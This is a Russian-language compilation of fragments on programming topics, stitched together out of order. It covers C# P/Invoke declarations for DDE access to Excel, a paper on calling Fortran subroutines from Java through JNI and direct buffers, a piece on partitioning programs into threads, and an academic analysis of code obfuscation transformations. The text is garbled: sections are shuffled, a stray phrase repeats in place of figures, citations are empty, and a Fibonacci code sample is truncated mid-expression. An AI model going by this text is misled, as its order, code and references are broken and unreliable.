    Это, естественно, вызовет NullPointerException при попытке библиотеки DDEML вызвать функцию обратного вызова. Поэтому вызов функции DdeInitialize следующего вида нежелателен:

    // Регистрация в библиотеке DDEML

    DDEML.DdeInitialize(ref idInst, new DDECallBackDelegate(DDECallBack), 0, 0);

    Забегая вперед, отмечу, что для отображения необходимых функций и констант библиотеки DDEML в компоненте ExcelDDEHotConnection служит класс DDEML.

    Ниже приведен список остальных функций для работы с DDE:

    Делегат функции обратного вызова:

    internal delegate IntPtr DDECallBackDelegate(

    uint wType, //Код транзакции

    uint wFmt, // Формат данных

    IntPtr hConv, // Идентификатор канала

    IntPtr hsz1, // Идентификатор строки (в нашем случае, строки раздела)

    IntPtr hsz2, // Идентификатор строки (в нашем случае, элемента данных)

    IntPtr hData, // Идентификатор глобальной области данных, где находятся данные

    uint dwData1, // Дополнительный параметр (В нашей работе не рассматривается)

    uint dwData2 // Дополнительный параметр (В нашей работе не рассматривается)

    );

    Отображение функции DdeInitialize:

    [DllImport("user32.dll", EntryPoint="DdeInitialize", CharSet=CharSet.Ansi)]

    internal static extern uint DdeInitialize(

    ref uint pidInst, DDECallBackDelegate pfnCallback, uint afCmd,uint ulRes);

    Отображение функции DdeUninitialize:

    [DllImport("user32.dll", EntryPoint="DdeUninitialize", CharSet=CharSet.Ansi)]

    internal static extern bool DdeUninitialize(uint idInst);

    Отображение функции DdeCreateStringHandle:

    [DllImport("user32.dll", EntryPoint="DdeCreateStringHandle", CharSet=CharSet.Ansi)]


    internal static extern IntPtr DdeCreateStringHandle(

    uint idInst, string psz,int iCodePage);

    Отображение функции DdeFreeStringHandle:

    [DllImport("user32.dll", EntryPoint="DdeFreeStringHandle", CharSet=CharSet.Ansi)]

    internal static extern bool DdeFreeStringHandle(uint idInst, IntPtr hsz);

    Отображение функции DdeConnect:

    [DllImport("user32.dll", EntryPoint="DdeConnect", CharSet=CharSet.Ansi)]

    internal static extern IntPtr DdeConnect(

    uint idInst, IntPtr hszService, IntPtr hszTopic, IntPtr pCC);

    Отображение функции DdeDisconnect:

    [DllImport("user32.dll", EntryPoint="DdeDisconnect", CharSet=CharSet.Ansi)]

    internal static extern bool DdeDisconnect(IntPtr hConv);

    Отображение функции DdeClientTransaction:

    [DllImport("user32.dll", EntryPoint="DdeClientTransaction", CharSet=CharSet.Ansi)]

    internal static extern IntPtr DdeClientTransaction(

    IntPtr pData, uint cbData, IntPtr hConv, IntPtr hszItem, uint uFmt,uint uType,

    uint dwTimeout, ref uint pdwResult);

    Отображение функции DdeGetData:

    [DllImport("user32.dll", EntryPoint="DdeGetData", CharSet=CharSet.Ansi)]

    internal static extern uint DdeGetData(

    IntPtr hData, [Out] byte[] pDst, uint cbMax, uint cbOff);

    Отображение функции DdeQueryString:

    [DllImport("user32.dll", EntryPoint="DdeQueryString", CharSet=CharSet.Ansi)]

    internal static extern uint DdeQueryString(

    uint idInst, IntPtr hsz, StringBuilder psz, uint cchMax, int iCodePage);

    Вступление.

    В данной статье я хочу поделиться решением, которое наверняка будет многим полезно. Началось с того, что передо мной была поставлена задача организовать чтение данных из книги MS Excel, причем данные из ячеек нужно было считывать только в том случае, если они изменились. При этом были выдвинуты жесткие требования к скорости и оперативности обработки информации в изменившихся ячейках.
    Перепробовав несколько решений, я остановился на механизме Dynamic Data Exchange, который, несмотря на преклонный возраст (DDE появился еще в Windows 3.0) и относительную громоздкость и трудоемкость в программировании остается наилучшим решением для организации быстрого обмена данными между приложениями. Однако программирование DDE приложения, тем более в среде .NET, которая не приветствует явного использования указателей и использование памяти вне ведома Garbage Collector, может вызвать вопросы, особенно у начинающих программистов. Вот на эти вопросы, которые в свое время возникли у меня, я и постараюсь ответить в данной статье. В конце статьи я приведу готовое решение – компонент ExcelDDEHotConnection, позволяющий организовать подписку на любую ячейку любой открытой книги, и скрывающий в себе все низкоуровневые операции. Данный компонент может быть свободно использован разработчиками в своих приложениях, при этом я не устанавливаю никаких ограничений или авторских прав на исходный код.

    Средства разработки приложений

    Аннотация

    Статья посвящена исследованию возможности вызова программ, реализованных на языке Fortran 95, из среды Java. Для того, чтобы среды могли обмениваться данными, должно быть отображение данных одной среды на данные другой. В статье представлено описание отображения данных языка Fortran на данные языка Java и обратно. Также описан способ эффективной передачи данных из среды Java в среду Fortran и обратно. Он заключается в том, что память, выделенная средой Fortran для размещения общих блоков и массивов, отождествляется с прямыми буферами среды Java. То есть прямые буферы среды Java размещаются по тем же адресам памяти, по которым размещены общие блоки и массивы языка Fortran. Помимо этого, в статье описан метод организации вызова подпрограмм, реализованных на языке Fortran из окружения Java, заключающийся в передаче параметров через прямые буферы окружения Java.

    Накладные расходы

    В предложенной реализации накладные расходы возникают при вызове метода инициализации прямых Java буферов, но эти накладные расходы возникают только один раз за все время работы программы, поэтому время, которое на них тратится, не существенно влияет на общую производительность программного продукта. Накладные расходы возникают при преобразовании данных из формата языка Java формат языка Fortran. Однако полное преобразование данных из одного формата в другой есть необходимость выполнять только дважды за работу всего приложения: в начале, после инициализации, и в конце, перед тем, как вывести окончательный результат работы приложения. Следовательно, эти накладные расходы тоже считаются разовыми и не существенно влияют на время выполнения программного продукта. Однако возникают еще накладные расходы, когда данные обрабатываются не только в Fortran-подпрограммах, но и в основной программе, написанной на языке Java. В этом случае при каждом переключении есть необходимость преобразовать данные из одного формата в другой. Но, как правило, объем данных, обрабатываемый сразу и в Java-коде и в коде, реализованном на языке Fortran, не очень велик. Следовательно, не следует преобразовывать сразу все данные, которые рассчитываются в приложении, а нужно преобразовать только тот их фрагмент, который нужен для обработки. Такой подход позволит сократить накладные расходы на преобразование данных. Именно эти накладные расходы следует учитывать при оценке времени работы программного приложения.

    Некоторые ограничения реализации приложения пользователя

    Fortran-подпрограммы, которые вызываются из Java-среды, не должны содержать символа "подчеркивание" в своем имени. В противном случае разделяемая библиотека не сможет сопоставить реализованные в ней методы с теми, которые вызываются. Это вызовет падение работы всего приложения. Компилятор GNU g77, разрешает использование переменных без их явного описания. Однако, если явно не определить тип переменной в подпрограмме, которая вызывается из Java-окружения, вероятен случай, что виртуальная Java-машина получит внешний сигнал. Этот сигнал, номер которого 11, сообщает виртуальной машине о некорректном обращении к памяти за пределами ее работы. Аналогичная ситуация может возникнуть и с функциями. При описании функций стандартом предусмотрено описывать явно тип возвращаемого значения. Однако, если этого не сделать, то компилятор сам подберет соответствующий тип, исходя из типа возвращаемого выражения. Если такую функцию вызывать из программы, реализованной только на языке Fortran, то все будет работать стабильно. Но как только объектный модуль с такой функцией участвует в формировании разделяемой библиотеки и подобного рода функция вызывается подпрограммой, которая, в свою очередь, вызывается виртуальной машиной Java, выполнение основной программы прекращается по причине получения виртуальной Java-машиной сигнала номер 11. Данные ограничения в дальнейшем развитии работы будут сняты посредством автоматического добавления в код Fortran-программы недостающих описаний.

    Описание практической части

    Прототипная реализация выполнена посредством связывания вызова подпрограммы, реализованной на языке Fortran, из Java-программы через язык С (JNI). В настоящее время окружение Java не предоставляет возможности вызывать напрямую подпрограммы, реализованные на языке Fortran. Реализация выполнена для GNU компилятора Fortran (g77), GNU компилятора С (gcc) версии 3.3.4 и JDK версии 1.4.2_03. Компилятор g77 основан на стандарте ANSI Fortran 77, но он включает в себя многие особенности, определенные в стандартах Fotran 90 и Fortran 95 []. JDK версии 1.4.2_03 содержит пакет java.nio, который предоставляет возможность использования новых средств ввода-вывода, таких, как прямые буферы и JNI (Java Native Interface). Как уже отмечалось в пункте 2, прежде чем выполнить вызов подпрограммы, реализованной на языке Fortran, из Java среды, необходимо выделить область памяти, которая была бы доступна как из Java окружения, так и из среды Fortran. Для этого нужно:
  • На языке Fortran реализовать подпрограмму. В этой подпрограмме должны быть объявлены все общие блоки, которые будут использоваться для обмена данными Fortran-среды с Java окружением.
  • На языке С должен быть реализован модуль, который через разделяемую библиотеку посредством JNI будет вызываться из Java-среды. Модуль должен содержать функцию, которая вызывается из среды Fortran. Данной функции в качестве параметров по ссылке из Fortran-среды передается адрес первого, адрес последнего элемента и размер в байтах последнего элемента общего блока. По полученным данным вычисляются и сохраняются начало и размер общего блока. Такая функция вызывается для каждого общего блока. Некоторая функция вычисляет и сохраняет размер общего блока, а так же сохраняет адрес начала общего блока. Теперь во встроенном модуле, реализованном на языке С, хранятся адреса и размеры всех общих блоков, которые определены в подпрограмме, реализованной на языке Fortran. Следовательно, запросив по указанному адресу прямой буфер нужного размера, будет получено размещение нового байт буфера Java-среды в том же участке памяти, что и соответствующий ему общий блок.
  • На языке Java реализуется класс, который содержит метод инициализации и метод получения прямого байт буфера.
    Метод инициализации вызывает встроенный метод инициализации, реализованный на языке С в описанном в пункте 2 модуле. Встроенный метод инициализации вызывает Fortran-подпрограмму, описанную в пункте 1. Метод получения прямого байт-буфера вызывает встроенный С-метод, который заказывает в оперативной памяти прямой буфер нужного размера, начиная с указанного адреса. Дальше полученный прямой байт буфер уже сам пользователь может представлять как буфер тех данных, которые ему нужны. Байт-буферы расположены непосредственно в том же участке памяти, что соответствующие им общие блоки, следовательно, все данные, которые записываются в прямой буфер в Java-коде, автоматически становятся доступными из общего блока в коде, реализованном на языке Fortran. И наоборот: все, что помещено в общий блок в Fortran-подпрограмме, автоматически становится доступно из прямого буфера в Java-программе. Такое расположение данных полностью решает поставленную в пункте 1 задачу о совместном размещении данных Java окружения и среды Fortran на одном участке памяти. Чтобы выполнить вызов Fortran-подпрограммы из Java-среды, нужно:
  • В Java среде расположить параметры для передачи в среду Fortran на прямом буфере. Этот прямой буфер передается в качестве параметра вспомогательным С-функциям, которые описаны в пункте 2. Так же в качестве параметра передается смещение в буфере, по которому расположены передаваемые параметры.
  • На языке С реализовать встраиваемый через JNI в Java-окружение модуль. В этом модуле реализуются вспомогательные функции для каждой вызываемой Fortran-подпрограммы из Java окружения. Каждая такая вспомогательная функция вызывается из Java-программы. Одним из ее действий является непосредственный вызов Fortran-подпрограммы. Также вспомогательная функция выполняет передачу параметров из Java окружения в среду Fortran, как это описано в пункте 2. То есть вспомогательная функция получает адрес буфера, вычисляет адреса параметров, зная смещения их расположения в буфере, и передает вычисленные адреса Fortran-подпрограмме.
  • На языке Java реализуется класс, который занимается записью и чтением данных из общей для Fortran среды и Java оболочки памяти.При этом при записи выполняется преобразование данных из формата языка Java в формат языка Fortran, а при чтении выполняется преобразование данных из формата языка Fortran в формат языка Java, как это описано в пункте 2.

    Отличия языков C и Fortran

    У языков программирования C и Fortran существует ряд различий, из-за которых нельзя перенести организацию JNI для языка С на организацию подобного интерфейса для языка Fortran.
  • В стандарте языка С напрямую не указан размер примитивных типов []. Выбор наилучшего для данной архитектуры размера типов оставлен на рассмотрение разработчиков компилятора. В стандарте языка Fortran для каждого примитивного типа данных строго задан их размер. Это позволяет установить взаимно однозначное соответствие между типами языка Java и типами языка Fortran, не используя промежуточных типов, как это реализовано в JNI.
  • Среда Fortran размещает данные в статической области памяти программы. К данным есть доступ только по ссылке, и нет возможности получить адрес памяти, где они расположены. Среда Fortran не поддерживает динамически создаваемых объектов данных. Среда C, во-первых, располагает данные программы в стеке, в куче и в статической области памяти программы, во-вторых, определена операция взятия адреса, позволяющие получить доступ не только к значениям данных, но и к адресам памяти, где они расположены. Соответственно, для передачи данных из Java среды в C среду JNI достаточно указать адрес области памяти, где данные хранятся. Передачу данных из Java среды в Fortran среду нельзя выполнить аналогично тому, как это сделано в JNI.
  • Все параметры в языке Fortran передаются только по ссылке, потому что в нем не определено понятие адреса переменной. В языке С параметры передаются только по значению, однако есть возможность передавать в качестве параметра функции указатели на ту область памяти, где хранится переменная. Соответственно, передачу данных из среды Java в среду Fortran и обратно нельзя выполнить аналогично тому, как это сделано в JNI.
  • В многомерных массивах языка С данные располагаются по строкам, тогда как в многомерных массивах языка Fortran данные располагаются по столбцам. В языке Fortran есть возможность непосредственно работать с частями массива - вырезками и сечениями. В языке С такой возможности нет.
    Следовательно, методика передачи массивов, реализованная в JNI, не может быть применена для среды Fortran.
  • В языке Fortran есть общие блоки COMMON. Эти блоки можно размечать по-разному в каждой подпрограмме. Так, например, в одной подпрограмме может быть объявлен массив типа complex размера 100, расположенный в общем блоке /A/, а в другой подпрограмме на этой же памяти, то есть в том же общем блоке /A/, может быть объявлен массив типа real размера 200. Оба массива будут размещаться в памяти, начиная с одного и того же виртуального адреса, данные, которые в нем расположены - одни и те же, однако тип данных разный. В языке С аналогичная возможность может быть реализована посредством использования объявления union. Однако передача данных, расположенных в COMMON блоках, с целью повышения эффективности должна выполняться по схеме, отличной от той, которая реализована в JNI. Однако передача данных, расположенных в COMMON блоках с целью эффективности должна выполняться по схеме, отличной той, которая реализована в JNI для передачи данных, объявленных в union. Учитывая то, что в реализации связывания подпрограмм, написанных на языке Fortran, с Java окружением должна быть сделана эффективная передача данных между Fortran-подпрограммами и основным Java-модулем, а так же принимая во внимание отличия языков С и Fortran, можно сделать вывод о том, что организация связывания между виртуальной машиной Java и подпрограммами, реализованными на языке Fortran, должна осуществляться по несколько иной схеме, нежели связывание C-методов и виртуальной машины Java.

    Отображение типов данных языка Java в типы данных языка Fortran

    Основные типы языка Java и соответствующие им типы языка Fortran представлены в таблице 1. Данные для таблиц взяты из литературы [] и []. Таблица 1. Отображение примитивных типов языка Java в типы языка Fortran.

    Тип данных языка Java Требуемый объем памяти Тип данных языка Fortran
    Int 4 байт INTEGER
    Short 2 байт INTEGER*2
    Long 8 байт INTEGER*8
    Byte 1 байт CHARACTER
    Float 4 байт REAL
    Double 8 байт DOUBLE PRECISION
    Char 2 байт CHARACTER
    Boolean 1 байт LOGICAL*1
    Массив языка Java можно отобразить на такое представление данных языка Fortran как массив. Отображение массива языка Java на массив языка Fortran можно сделать через прямой буфер, средства работы с которым предоставлены в пакете "java.nio". Данные в Fortran-программах могут быть представлены в виде констант или имен переменных (или идентификаторов). Основные типы языка Fortran и соответствующие им типы языка Java представлены в таблице 2. Данные для таблиц взяты из литературы [] и [] Таблица 2. Отображение примитивных типов языка Fortran в типы языка Java.

    Тип данных языка Fortran Требуемый объем памяти Тип данных языка Java
    INTEGER*2 2 байт short
    INTEGER
    INTEGER*4
    4 байт
    4 байт
    int
    int
    REAL
    REAL*4
    DOUBLE PRECISION
    REAL*8
    REAL*16
    4 байт
    4 байт
    8 байт
    8 байт
    16 байт
    float
    float
    double
    double
    double double
    COMPLEX
    COMPLEX*8
    COMPLEX*16
    COMPLEX*32
    8 байт
    8 байт
    16 байт
    32 байт
    float float
    float float
    double double
    double double double double
    LOGICAL*1
    LOGICAL
    LOGICAL*4
    1 байт
    4 байт
    4 байт
    byte
    int
    int
    CHARACTER
    CHARACTER*L
    1 байт
    L байт
    byte
    string
    Для отображения данных, определенных в общем блоке, в окружении Java следует использовать прямой байт буфер. Такое отображение легко организовать, потому что общий блок представляет собой некоторую область памяти, хранящую неоднородные данные. Прямой байт буфер, доступный в Java окружении также представляет собой область памяти, которая может хранить неоднородные данные. Для каждого как именованного, так и неименованного общего блока можно использовать по одному буферу. В языке Fortran массивом называется упорядоченная последовательность данных, занимающая непрерывную область памяти, к которой можно обращаться по имени [].
    Массивы характеризуются типом значений их элементов и граничными парами - диапазоном индексов по каждому измерению. Несмотря на то, что Fortran массивы могут быть как одномерными, так и многомерными, в памяти они располагаются как одномерный массив. Причем элементы многомерного массива располагаются в памяти таким образом, что значение первого индексного выражения возрастает быстрее второго, значение второго - быстрее третьего и т. д. []. Следовательно, приведенный индекс многомерного массива можно рассчитать по ниже приведенной формуле, а именно: пусть имеется многомерный массив arr[N, M, K], тогда приведенный индекс элемента arr[i, j, k] рассчитывается следующим образом: (i-1)+(j-1)*N+(k-1)*N*M Массив языка Fortran следует отображать на прямой байт буфер, доступный в Java среде. Такое представление выгодно, потому что многомерный Fortran-массив в памяти располагается как одномерный массив. Для получения данных из прямого буфера соответствующих элементу многомерного Fortran-массива в Java окружении реализуется специальный класс. Многомерный массив не может иметь больше 7 измерений [], то всегда можно автоматически получить данные из прямого буфера, соответствующие элементу многомерного Fortran-массива в Java окружении. При этом следует обойтись без транспонирования самого Fortran-массива. Для ссылки на элемент массива задается индексированная переменная; на массив в целом ссылаются по его имени. Начиная со стандарта Fortran 90, в языке есть возможность непосредственно работать с частями массива - вырезками и сечениями. Вырезка из массива представляет собой подмассив вида <имя_массива>(< нижняя граница - верхняя граница), Элементы вырезки из массива могут быть взяты с шагом, отличным от единицы. В этом случае вырезка по соответствующему измерению задается уже не граничной парой, а триплетом. <имя_массива>(< нижняя граница - верхняя граница, шаг >,…) Если по какому-то измерению опущены обе границы, то говорят о сечении массива. Вырезку из массива можно также задать с помощью векторного индекса[]. Для отображения вырезки или сечения массива на объекты Java среды также можно использовать байт буфер.Такое отображение можно выполнить следующим образом. Весь массив отображается на буфер, а дальше в Java среде организуется специальный класс, содержащий методы получения и записи элементов вырезки и сечения массива посредством пересчета с учетом шага. Таким образом, любой массив языка Fortran можно отобразить на прямой байтовый буфер языка Java. Если массив размещен на общем блоке, он автоматически отобразится в Java окружение при отображении общего блока. Если массив определен посредством использования оператора DIMENSION, то для него надо создать прямой буфер, расположенный на том участке памяти, который компилятор языка Fortran выделил для хранения данного массива. Что касается вырезки и сечения массивов, так это представление данных можно отобразить через указатели на соответствующие элементы.

    в корректности работы реализации, была

    Чтобы убедиться в корректности работы реализации, была взята программа расчета динамики взрыва сверх новой звезды, реализованная на языке Fortran. []. Основная функция main, которая управляет расчетами, была переписана на язык Java. Остальные подпрограммы оставлены на языке Fortran. Результаты работы исходной программы, реализованной только на языке Fortran, и программы, основная часть которой реализована на языке Java, а подпрограммы выполнены на языке Fortran, одинаковые. Для сравнения времени работы полученного приложения, реализованного на языке Java с использованием Fortran-подпрограмм, было произведено сравнение с точно таким же приложением, но реализованным целиком на языке Fortran и на языке Java. Приложение можно представить в виде следующей схемы, представленной на рисунке 1. в корректности работы реализации, была Рисунок 1. Схема приложения. В приложении, реализованном на языках Java+Fortran, инициализация данных и запись данных в файлы выполняется в Java-окружении, а счет выполняется в Fortran-среде. Для сравнения времени выполнения были выполнены замеры, как скорости работы всего программного приложения, так и отдельных его частей, в соответствии с рисунком 1. Замеры проводились на персональном компьютере. Размер оперативной памяти 512 MB, частота процессора 1700 MHz. Характеристики кэш-памяти процессора следующие: CPU L1 Cache: 64K (64 byte/line), CPU L2 Cache: 526K (64 byte/line) Сравнение времени работы представлено в таблице 3 и на рисунке 2. Таблица 3. Сравнительная производительность.

    полное приложение (ms) инициализация (ms) счет (ms) запись (ms)
    Fortran 261559 42826 218450 283
    Java + Fortran 266223 43540 221623 1060
    Java 337225 69874 265727 1624


    в корректности работы реализации, была (а) в корректности работы реализации, была (б) в корректности работы реализации, была (в) в корректности работы реализации, была (г) Рисунок 2. Время выполнения. Как видно из и на , реализация приложения на языках Java+Fortran не значительно проигрывает по времени выполнения приложению, реализованному только на языке Fortran. Это достигается за счет того, что в приложении, реализованном на Java+Fortran, вычисления полностью выполняются в Fortran-среде. Однако приложение, реализованное на языках Java+Fortran, работает значительно быстрее, нежели приложение, реализованное на языке Java. Как видно на , , , в приложении, реализованном только на языке Java, не только вычисление занимает больше времени, нежели в приложении, реализованном на языках Java+Fortran, но и инициализация и запись данных в файл. Потеря времени происходит за счет того, что большая часть инициируемых данных берется из файла. В приложении, реализованном только на языке Java, данные из файла записываются в массивы языка Java, а в приложении, реализованном на языках Java+Fortran, - в прямые буферы.

    Размещение данных в среде Fortran

    Программа, написанная на языке Fortran, допускает использование следующих видов программных единиц: стандартных функций, подпрограмм FUNCTION, подпрограмм SUBROUTINE, операторов - функций, подпрограмм, написанных на других языках программирования, и подпрограмм BLOCK DATA []. Формальные параметры языка Fortran передаются обычно по ссылке, за исключением тех случаев, когда параметр не модифицируется в подпрограмме []. В языке Fortran имеются средства, позволяющие использовать одну и ту же область памяти для хранения данных, общих для двух или более программных модулей выполняемой программы. Таким средством является общий блок []. Значения объектов из общего блока доступны всем программным единицам, в которых этот блок описан []. Каждый общий блок обязательно занимает в памяти непрерывный участок. Если некоторый программный модуль содержит несколько объявлений COMMON с одним и тем же именем, то все они рассматриваются как одно объявление и располагаются в памяти непрерывно и последовательно. Для объявления массивов в языке Fortran существуют специальные предложения спецификации: объявление размерности DIMENSION []. Так же массивы могут быть расположены в общих блоках. Массивы, полученные объявлением DIMENSION, представляют собой локальные данные той подпрограммы, внутри которой они описаны. При вызове подпрограмм, реализованных на языке Fortran, из Java окружения необходимо передавать данные из среды Java в среду Fortran. Также может возникнуть необходимость передавать данные из среды Fortran в среду Java, если вызываемая программная единица из среды Fortran - FUNCTION - возвращает значение. Все параметры Java-среда передает только по значению, в среде Java нет методов работы с указателями, а все данные Java-программы расположены в куче. Любая подпрограмма, реализованная на языке Fortran, может получать данные извне либо как параметры, либо через общие блоки, которые в ней описаны. Если Fortran-подпрограмма получает данные для обработки через общие блоки, то вызывающая Java-программа должна иметь доступ на запись и чтение к той памяти, в которой эти общие блоки расположены.
    Такой доступ Java- программе возможно обеспечить, если на памяти, где располагается общий блок, разместить Java-объект. В качестве такого Java-объекта может быть взят прямой буфер класса Buffer, методы работы с которым доступный через пакет java.nio. Для того чтобы получить такой буфер, нужно из Fortran среды передать адрес начала общего блока и его размер. Дальше достаточно создать прямой буфер байтов, адрес начала которого будет совпадать с адресом начала общего блока, а размер будет такой же, как у соответствующего общего блока. Если Fortran-подпрограмма получает данные для обработки через формальные параметры, то для передачи таких параметров из Java окружения необходимо выделить прямой буфер в Java-окружении, на который передаваемые параметры будут помещены. После того, как передаваемые параметры будут расположены на буфере, Fortran-подпрограмме нужно передавать только адрес этого буфера и смещение в нем, по которому расположен соответствующий параметр. Возврат данных из функций языка Fortran осуществляется по значению. Для передачи возвращаемого значения функцией языка Fortran в Java-окружении, нужно это значение располагать в той области памяти, которая доступна и Java-окружению, и среде Fortran. Такой областью памяти с точки зрения среды Java может выступать прямой буфер. На нем необходимо выделить место для значения, возвращаемого функцией среды Fortran, и передать смещение в буфере Fortran-функции как параметр. А Fortran-функция запишет по полученному адресу возвращаемое значение.

    Разработка системной поддержки вызова программ, реализованных на языке Fortran, из среды Java.

    С.С. Гайсарян, К.Н. Долгова, Труды Института системного программирования РАН

    Имеется достаточно большое количество программ,

    Имеется достаточно большое количество программ, реализованных на языке Fortran и не потерявших ценность. В настоящее время широкую популярность получила среда программирования Java, обеспечивающая переносимость программ. Следовательно, возникает потребность иметь возможность вызывать подпрограммы, реализованные на языках Fortran, из Java-программ. Для вызова подпрограмм, реализованных на языке С из Java программ есть JNI, который доступен, начиная с версии JDK 1.2. Аналогичного интерфейса для вызова Fortran-подпрограмм нет. Предложенная работа повещена разработке методики вызова Fortran-подпрограмм из Java-среды. В настоящей работе рассмотрены основные отличия языков С и Fortran, препятствующие использованию методики, аналогичной JNI для вызова Fortran-подпрограмм из Java-программ. Построено отображение данных языка Fortran на данные Java и обратно. Предложена методика реализации общей области памяти для Java- и Fortran-сред через прямые буферы пакета java.nio. В последнем разделе описана прототипная реализация, выполненная с использованием JNI, которая показала эффективность предложенной методики.

    Вызов Fortran-подпрограмм из Java среды

    При вызове Fortran-подпрограмм из Java среды необходимо учитывать особенности чтения данных в Java- и Fortran-средах. Java-машина читает байты, в которые записано одно число, слева направо (прямое чтение), а в C и Fortran - программах порядок байт в записи чисел зависит от архитектуры. То есть на некоторых платформах используется чтение справа налево (так называемое инвертированное чтение). Следовательно, на некоторых платформах для корректной работы, данные, записанные Fortran-подпрограммой, нужно подвергнуть дополнительному преобразованию в формат языка Java, чтобы Java-программа прочитала их корректно. И наоборот, данные, записанные Java-программой, тоже надо подвергать обратному преобразованию в формат языка Fortran, чтобы подпрограмма, реализованная на языке Fortran, смогла прочитать именно то, что было помещено в Java-коде. В выше упомянутом преобразовании предполагается менять местами соответствующие записи в ячейках. Такое преобразование необходимо осуществлять каждый раз, когда обработка данных, расположенных в памяти, общей и для Java-окружения, и для среды Fortran, передается от Java машины Fortran-среде и обратно. Такое преобразование предполагается целесообразным выполнять при каждой записи виртуальной машиной Java данных в общую память и при каждом считывании данных из общей памяти Java машиной. Следовательно, среда Fortran всегда будет обрабатывать данные, записанные в формате языка Fortran, а Java машина всегда будет работать с данными, записанными в формате языка Java.

    Средства разработки приложений

    Алгоритм разбиения программы на нити

    В настоящем разделе рассматривается построение промежуточного представления программы, над которым работает алгоритм, а также подробно описывается сам алгоритм разбиения программ на нити. Подробное описание алгоритма можно найти в [3]. Алгоритм состоит из трех частей:
  • Построение ценовой модели, отражающей свойства локальности
  • Разбиение программы на нити
  • Дополнительные оптимизации
  • Алгоритм разбиения программы на нити
    Рис. 1. Пример функции и ее DDG.

    Анализ маскирующих преобразований

    Все маскирующие преобразования делятся на текстуальные преобразования, преобразования управляющей структуры и преобразования структур данных. Преобразования управляющей структуры в свою очередь делятся на две группы: маскирующие преобразования реструктуризации всей программы и маскирующие преобразования над одной процедурой. Преобразования структур данных в рамках данной работы не рассматривались.
    В группе текстуальных маскирующих преобразований рассматриваются преобразования удаления комментариев, переформатирования текста программы и изменения идентификаторов в тексте программы. В группе маскирующих преобразований управляющей структуры, воздействующих на программу в целом, рассматриваются преобразования открытой вставки процедур, выделения процедур, переплетения процедур, клонирования процедур, устранения библиотечных вызовов. В группе маскирующих преобразований маскировки над одной процедурой рассмотрены преобразования внесения непрозрачных предикатов и переменных, внесения недостижимого кода, внесения мёртвого кода, внесения дублирующего кода, внесения тождеств, преобразования сводимого графа потока управления к несводимому, клонирования базовых блоков, развёртки циклов, разложения циклов, переплетения циклов, диспетчеризации потока управления, локализации переменных, расширения области действия переменных, повторного использования переменных, повышения косвенности.
    Int fib(int n) { int a, b, c; a = 1; b = 1; if (n 1; n--) { c = a + b; a = b; b = c; } return c; } int fib(int n) { int a, b, c, i; long long t; a = 1; b = 1; if (n
    (a) исходная программа (b) замаскированная программа
    Рис. 5. Пример применения маскирующего преобразования внесения тождеств
    На Рис. 5 показан пример применения маскирующего преобразования внесения тождеств к программе, вычисляющей функцию Фибоначчи. Преобразование основано на малой теореме Ферма Анализ маскирующих преобразований для любого целого a, такого, что Анализ маскирующих преобразований , и простого числа p). В таблице 2 приведена цена применения маскирующего преобразования и полученное усложнение программы.
    Для этого примера цена равна 3.83, а усложнение программы - 4.85. Расстояние между исходной и замаскированной программой равно 21.

    LC UC YC DC
    Исх. процедура fib 12 0 0.1111 14
    Замаскированная fib 23 0 0.3086 29
    Таблица 2. Оценка влияния маскирующего преобразования внесения тождеств

    Другое маскирующее преобразование - введение непрозрачных предикатов - является ключевым для повышения устойчивости других маскирующих преобразований, например, внесения недостижимого кода. Непрозрачным предикатом называется предикат, всегда принимающий единственное значение true или false. При маскировке программы предикат строится таким образом, что его значение известно, но установить по тексту замаскированной программы, является ли некоторый предикат непрозрачным, трудно. В работе рассматриваются методы построения непрозрачных предикатов, использующие динамические структуры данных и булевские формулы.

    На основании определения устойчивости маскирующих преобразований, дан-ного выше, становится возможным провести анализ всех опубликованных маскирующих преобразований для выявления их устойчивости по отношению к нашему множеству демаскирующих преобразований и алгоритмов анализа. Мы можем ввести количественную классификацию маскирующих преобразований и выявить наиболее устойчивые маскирующие преобразования. Для этого вводятся - эвристическая оценка CL сложности анализа, которая устанавливает глубину анализа замаскированной программы, необходимого для выполнения демаскирующего преобразования, и эвристическая оценка SL степени поддержки демаскировки, устанавливающая необходимую степень участия человека в процессе демаскировки. Для оценки CL используется шкала, приведённая в таблице 1. Для оценки SL используется шкала: "автоматический анализ" (0 баллов), "полуавтоматический анализ" (1 балл), "ручной анализ с развитой инструментальной поддержкой" (2 балла), "только ручной анализ" (3 балла). Итоговая оценка DL трудоёмкости анализа равна


    DC=CL+SL

    В нашей работе показано, что для каждого маскирующего преобразования можно предложить автоматический или полуавтоматический метод демаски-ровки, позволяющий приблизить демаскированную программу p` к исходной программе p. При использовании полустатических алгоритмов анализа программ мы исходим из предположения, что для замаскированной программы существует достаточное количество тестовых наборов, обеспечивающее требуемый уровень доверия.

    Таким образом можно получить количественную классификацию маскирующих преобразований. Для каждого маскирующего преобразования приводится оценка сложности маскировки и оценка трудоёмкости демаскировки. Значение, получаемое как разность оценки трудоёмкости демаскировки и оценки сложности маскировки, позволяет оценить насколько демаскировка данного маскирующего преобразования сложнее, чем маскировка. Исходя из этого определяются маскирующие преобразования, применение которых неоправдано, например, переформатирование программы, разложение циклов, локализация переменных; методы маскировки, которые следует применять только в комплексе с другими методами, например, изменение идентификаторов, внесение дублирующего кода и методы маскировки, применение которых наиболее оправдано, например, внесение тождеств, переплетение процедур, построение диспетчера, повышение косвенности. Сравнение двух маскирующих преобразований приведено в таблице 3. Через D обозначена разность OC-DL, через ?1 обозначено расстояние между текстами замаскированной и исходной программ fib, а через ?2 - расстояние между текстами демаскированной и исходной программ. Из таблицы следует, что маскирующее преобразование построения диспетчера предпочтительнее, так как, при равных с методом внесения тождеств трудо-затратах на демаскировку, обеспечивает лучшее соотношение усложнения программы к цене преобразования.

    Преобразование OC TC MC ?1 CL SL DL ?2 D Анализ маскирующих преобразований
    Внесение тождеств 2 3.83 4.85 21 4 - 5 2 7 0 5 1.27
    Построение диспетчера 2 3.83 6.14 39 5 2 7 2 5 1.60
    Таблица 3.Сравнение методов маскировки

    Аннотация.

    В настоящей статье обсуждаются некоторые перспективные направления исследований, проводимые в отделе компиляторных технологий Института системного программирования РАН. Методы анализа и трансформации программ, ранее применявшиеся в основном в оптимизирующих компиляторах, в настоящее время находят применение при решении множества смежных задач, таких как обеспечение безопасности программ, генерация тестов для программ и т. д.

    Автоматическое выявление уязвимостей защиты программ

